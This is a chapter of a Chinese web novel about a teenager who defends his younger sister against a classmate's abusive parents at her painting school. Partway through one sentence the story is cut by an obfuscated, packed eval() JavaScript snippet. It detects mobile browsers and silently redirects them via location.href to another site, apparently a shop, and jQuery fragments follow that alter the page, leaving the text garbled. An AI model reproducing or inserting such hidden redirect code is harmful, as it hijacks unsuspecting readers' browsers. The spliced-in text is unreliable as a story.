7. 12.31秘密

作品:《有些秘密

    这周六下午是自习,方易昭用身体不舒服当理由,提前跟老师请了假。


    方易昭家里的情况班主任知道,一个同在二中上学的妹妹,还有一个做民警,现在身体抱恙的舅舅。


    老师拉了椅子在办公桌后坐下,扫一眼方易昭:“真是生病?”


    男生穿黑色连帽卫衣,领口的抽绳有些泛白,衣服看起来旧了,他虽然半垂头,但站得挺拔笔直,给人的气质不像他的成绩一样乖,而是有种野性的张力。


    他半垂眸时不知道在想什么,听到老师的声音才抬头。


    方易昭身上的气质有一种具有冲击力的矛盾感。


    他长得痞,但家庭环境使然,他身上又有一种不同于同龄人的沉稳。


    他两手背后:“不是,去医院照顾家里人。”


    高三一班是尖子班,班主任是一位刚过四十,扎低发髻,很要强的女性,她抬手叩叩桌子:“照顾家人就照顾家人,你在我这儿玩什么花花肠子,还请病假。”


    站在桌前的男生脸色平静,没说话。


    李玲挥挥手:“去吧,下次是什么就是什么。”


    方易昭点头,从桌上拿过李玲刚签过的假条,他转身没走两步,又被身后的李玲叫住。


    他把右手拿的假条塞进帽衫前的口袋。


    李玲看他:“照顾家人当然是应该的,但学校的东西绝对不能落下,明天晚自习回来你的作业我亲自检查,别让我发现写理科,不写语文英语的情况。”


    李玲说完又敲桌子警告:“你敢这么糊弄,你以后的假我都不会再批。”


    见方易昭不吭声,她扬了点声调:“听到没有。”


    方易昭答:“听到了,老师。”


    方易昭收拾东西时,最后一节自习还没下课,他有老师的假条,提前了二十分从学校出来。


    他在学校门口随便吃了碗面,先坐地铁去了趟省医,看姚伟明。


    姚伟明见他过去,第一句就是训,让他好好在学校上课,别来,但没过几分钟,跟临床的一对夫妻聊起天时,又笑眯眯地“显摆”,说自己家有两个高材生。


    姚伟明在纪清玥三四年级时就离婚了,老婆对他的职业本来就不满意,他当警察又太拼命,尽职尽责,老婆说了几次,他都充耳不闻,最后越吵越厉害,就离了。


    离婚时姚伟明还年轻,没孩子,后来赚得也不多,干脆就把心思都放在纪清玥和方易昭身上。


    方易昭两点多从医院离开,路上先联系了周志成。


    周志成从某种程度来说很闲,富二代,不用上班,虽然自己开了几家店,但找人看着,他也随时可以离开。


    他给周志成打电话时,周志成正在买机票,打算过两天跟几个兄弟去隔壁市看某个游戏的职业比赛。


    “周哥。”方易昭从地铁口上来,往路边走。


    九月底的中午,太阳仍旧晒,火辣辣的日光晒得人头顶发烫。


    方易昭走到路边的树荫下,皱眉看着树影下斑驳的光点:“你下午有事吗?”


    “没什么事,怎么了,你说。”


    从中午出校就没喝过水,方易昭唇干:“我下午要去一趟我妹上画画课的学校,同班有人找她事,对方欺负她没父母,我得去帮她把该上的课调回来。”


    周志成道:“我听明白了,然后呢?”


    方易昭看向远处路上来来往往的车:“画室就在信息城隔壁,如果你没事,我想请你帮个忙,跟我一起去,到时候就说她是你妹。”


    周志成理解他的意思,方易昭到底刚成年,对方父母如果胡搅蛮缠,多去几个再年长一些的男性,更能震住场。


    方易昭打完这通电话,在路边的石凳上坐下。


    地铁口出来就是画室的斜对面,但周志成还有事要处理,半小时后才能出来。


    纪清玥四点下课,他跟周志成约的是四点半,早上跟画室老师通的那通电话,他在电话里要求,下午对方的父母也在场。


    他掏出口袋里的手机,最后看了眼时间,从手机里翻了几篇阅读,一边等周志成,一边随手做起来。


    四点一刻,周志成给他打电话,说已经从信息城出来,让他过去。


    周志成不仅自己过来,把自己一个在店里的兄弟也带过来了。


    他兄弟穿黑色皮夹克,手背有刺青,那刺青还是十年前还在上大学时,恋爱脑为了女朋友纹的,没想到现在能因为这个被拽来撑场子。


    周志成见到方易昭时,揽着自己兄弟的肩,拇指指着自己,调侃笑,问方易昭自己够不够意思。


    方易昭一直以来都情绪很淡,表情也少,听到周志成的话,只是又说了句“谢了周哥”。


    “谢什么,”周志成从后勾着他的肩,“我等你飞黄腾达了,还准备用你的人脉。”


    他们到时,顾琳的父母还没来,只有画室的老师和顾琳自己在办公室。


    他们三个进去,坐在位置上的顾琳明显被吓一跳,后来盯着方易昭看了两眼,认出他是二中的学生。


    他的照片被挂在荣誉墙上太久,又实在长得好看,上操路过那条长廊时,很多女生都会拉着朋友叨叨几句。


    几分钟后,有人敲门,是顾琳的父母。


    方易昭单肩背一个黑色书包,和周志成并排,身体往后,靠在一张废弃的办公桌上。


    童年以及整个青春期都野蛮生长的孩子,抬眼看人时,又冷又狠。


    顾琳的父亲看到他这种眼神,当即先点着他给下马威:“你瞪什么眼?看着年龄也没多大,我都能当你爸了,你瞪什么。”


    周志成连忙走过来:“这是我弟,我们是纪清玥的家长,都是为了孩子的学习来的,有什么我们聊。”


    已经下课,办公室除了他们这拨人,只有零零散散两个老师。


    顾琳的父亲当即提高声音:“聊什么聊,她把我女儿笔弄坏了死不承认,没点教养。”


    方易昭挤开周志成,两步上前,站在顾父面前:“你说谁没教养。”


    他声调不高,但语气又沉又冷,一米八六的个子站在男人面前,男人挺着将军肚只到他下巴。


    方易昭往后退开半步:“第一走廊的监控可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976101|193497||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以证明,纪清玥在捡到那只笔之后交给了画室的负责人,第二即使要求赔偿,她也已经赔过了。”


    方易昭看向站在一侧的女老师:“第三,按报名时签的合同,给多少钱上什么课,画室必须履行合同,我不接受没有任何理由中途给我妹调班。”


    办公室内有别的班的老师转头看过来,拖动椅子,安静的空间里发出不合时宜的“嘎吱”一声。


    方易昭态度强硬,顾琳的父母只顿了两秒,立马用比刚刚更高的声音:“你们不同意算狗屁,我现在就是不想让我女儿跟那个什么纪清玥一个班,是她做错事,我让老师给她调班合情合理......”


    顾母往前两步:“就是,你吵什么。”


    她推搡方易昭,看向周志成和他旁边的男人,用掺着方言的普通话:“你们三个男的了不起?你有本事你往我脸上打?你打我啊,没本事就憋着,你们人多怎么了,现在是法治社会。”


    本来就站在门口,方易昭被她往后两下推出办公室,他侧头像是被气笑。


    纪清玥就是这个时候折回来的。


    她和王思涵在附近的奶茶店讨论今天课上讲的题,王思涵想起来自己的画筒落在了画室,她陪王思涵回来拿。


    办公室和她们上课在的教室是同一层,办公室内吵架的声音又大,她们两个刚从楼梯拐角绕出来便看到。


    从楼梯口到走廊尽头的办公室,隔着二十几米的距离,她清楚地看到顾琳的母亲把方易昭从办公室里推出来。


    “那不是方易昭吗?”王思涵拽住纪清玥的衣袖,看到她已经直直地看着那处。


    周志成实在看不过去,拦在中间说了两句,没想到起了反效果。


    顾琳的父亲不想在妻子和女儿面前失面子,不知道从哪里抄出一个扫把扬了两下,作势动手。


    顾琳的母亲言辞更加难听,连着纪清玥和方易昭一起骂,说他们没教养,说怪不得没家长,有人生没人养。


    顾母站在丈夫身边:“这种孩子就算以后再长也容易长坏,我们现在是帮她纠正,懂吗,看她那个样子上不了台面不大方,没人管的孩子果然不行......”


    纪清玥深皱眉,尽管这种话最近已经听了不止一次,但现在听到,还是觉得刺耳。


    其实以前上学时也听到过,但那时候是小学,看到没人来接她,会有不懂事的小孩儿偷偷议论,后来再大一点,知道在学校门口接同学的家长也会看她,然后无心地讲两句。


    她已经很努力地成长得很好,但在别人说她没有父母,没有人管时她仍旧无法反驳,舅舅还在医院,她好像没有任何办法。


    她脸颊烧红,心脏像被针扎似的疼痛,手心也微微发麻。


    然后她看到不远处方易昭把扫把从那个男人手里夺过来,往后敲了两下走廊的栏杆,“砰砰”两声,压住所有烦乱的声音。


    吵架声因为这两声巨响有一瞬间的停滞,他站在那对父母和来拉架的老师身前,比大部分人都高半个头。


    他说:“她不是没人管,她有家长,谁都不许欺负我妹。”